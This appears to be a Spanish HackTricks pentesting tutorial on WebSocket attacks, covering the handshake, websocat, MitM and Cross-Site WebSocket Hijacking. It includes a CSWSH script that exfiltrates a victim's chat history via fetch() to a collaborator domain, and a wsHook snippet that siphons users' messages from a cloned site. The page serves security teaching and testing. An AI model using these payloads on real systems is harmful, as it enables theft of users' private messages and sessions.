hacktricks/pentesting-web/websocket-attacks.md

13 KiB

Ataques WebSocket

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

¿Qué son los WebSockets?

Las conexiones WebSocket se inician sobre HTTP y suelen ser de larga duración. Los mensajes pueden enviarse en cualquier dirección en cualquier momento y no son de naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.
Los WebSockets son particularmente útiles en situaciones donde se requieren mensajes de baja latencia o iniciados por el servidor, como flujos de datos financieros en tiempo real.

¿Cómo se establecen las conexiones WebSocket?

(Aquí encontrarás un resumen, pero una guía más detallada sobre cómo se crea una conexión WebSocket se puede encontrar aquí).
Las conexiones WebSocket normalmente se crean utilizando JavaScript del lado del cliente como el siguiente:

var ws = new WebSocket("wss://normal-website.com/ws");

El protocolo wss establece un WebSocket sobre una conexión TLS encriptada, mientras que el protocolo ws utiliza una conexión no encriptada.

Para establecer la conexión, el navegador y el servidor realizan un handshake de WebSocket sobre HTTP. El navegador emite una solicitud de handshake de WebSocket como la siguiente:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Si el servidor acepta la conexión, devuelve una respuesta de handshake de WebSocket como la siguiente:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes WebSocket en ambas direcciones.

Nota

Varias características de los mensajes de handshake de WebSocket son dignas de mención:

  • Los encabezados Connection y Upgrade en la solicitud y respuesta indican que se trata de un handshake de WebSocket.
  • El encabezado de solicitud Sec-WebSocket-Version especifica la versión del protocolo WebSocket que el cliente desea utilizar. Típicamente es 13.
  • El encabezado de solicitud Sec-WebSocket-Key contiene un valor aleatorio codificado en Base64, que debe generarse aleatoriamente en cada solicitud de handshake.
  • El encabezado de respuesta Sec-WebSocket-Accept contiene un hash del valor enviado en el encabezado de solicitud Sec-WebSocket-Key, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para prevenir respuestas engañosas resultantes de servidores mal configurados o proxies de caché.

El encabezado Sec-WebSocket-Key contiene un valor aleatorio para prevenir errores de proxies de caché, y no se utiliza para propósitos de autenticación o manejo de sesiones (No es un token CSRF).

Consola de Linux

Puedes usar websocat para establecer una conexión cruda con un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

O para crear un servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Ataques MitM en conexiones websocket

Si descubres que los clientes están conectados a un websocket HTTP desde tu red local actual, podrías intentar un Ataque de Spoofing ARP para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente intente conectarse, puedes usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeración de Websockets

Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar vulnerabilidades conocidas en websockets de forma automática.

Herramientas de depuración de Websockets

  • Burp Suite soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
  • La extensión de Burp Suite socketsleuth te permitirá gestionar mejor las comunicaciones de Websocket en Burp obteniendo el historial, estableciendo reglas de intercepción, utilizando reglas de coincidencia y reemplazo, utilizando Intruder y AutoRepeater.
  • WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones entre el cliente y el servidor de WebSocket y Socket.IO.
  • wsrepl es un REPL interactivo de websockets diseñado específicamente para pentesting. Proporciona una interfaz para observar mensajes entrantes de websockets y enviar nuevos, con un marco de trabajo fácil de usar para automatizar esta comunicación.
  • https://websocketking.com/ es una web para comunicarse con otras webs utilizando websockets.
  • https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una web para comunicarse con otras webs utilizando websockets.

Laboratorio de Websockets

En Burp-Suite-Extender-Montoya-Course tienes un código para lanzar una web utilizando websockets y en este post puedes encontrar una explicación.

Secuestro de WebSocket entre sitios (CSWSH)

También conocido como secuestro de WebSocket de origen cruzado.
Es un Cross-Site Request Forgery (CSRF) en un apretón de manos de WebSocket.

Surge cuando la solicitud de apretón de manos de WebSocket depende únicamente de cookies HTTP para el manejo de sesiones y no contiene tokens CSRF u otros valores impredecibles.
Un atacante puede crear una página web maliciosa en su propio dominio que establece una conexión de WebSocket entre sitios con la aplicación vulnerable. La aplicación manejará la conexión en el contexto de la sesión del usuario víctima con la aplicación.

Ataque Simple

Ten en cuenta que al establecer una conexión websocket la cookie se envía al servidor. El servidor podría estar usándola para relacionar a cada usuario específico con su sesión de websocket basada en la cookie enviada.

Entonces, si por ejemplo el servidor de websocket envía de vuelta el historial de la conversación de un usuario si se envía un mensaje con "READY", entonces un XSS simple estableciendo la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviando "READY" podrá recuperar el historial de la conversación.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

En esta publicación de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logró ejecutar Javascript arbitrario en un subdominio del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un subdominio, la cookie se estaba enviando, y debido a que el Websocket no verificaba correctamente el Origin, fue posible comunicarse con él y robar tokens de él.

Robando datos del usuario

Copia la aplicación web que quieres suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Ahora descarga el archivo wsHook.js desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella podrás robar los mensajes enviados y recibidos a través de websocket:

sudo python3 -m http.server 80

Condiciones de Carrera

Las Condiciones de Carrera en WebSockets también son posibles, consulta esta información para aprender más.

Otras vulnerabilidades

Como los Web Sockets son un mecanismo para enviar datos al lado del servidor y del cliente, dependiendo de cómo el servidor y el cliente manejen la información, los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vuln común en la web usando la entrada de un usuario desde un websocket.

WebSocket Smuggling

Esta vulnerabilidad podría permitirte burlar las restricciones de los proxies inversos haciéndoles creer que se estableció una comunicación websocket (incluso si no es cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para más información consulta la siguiente página:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referencias

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: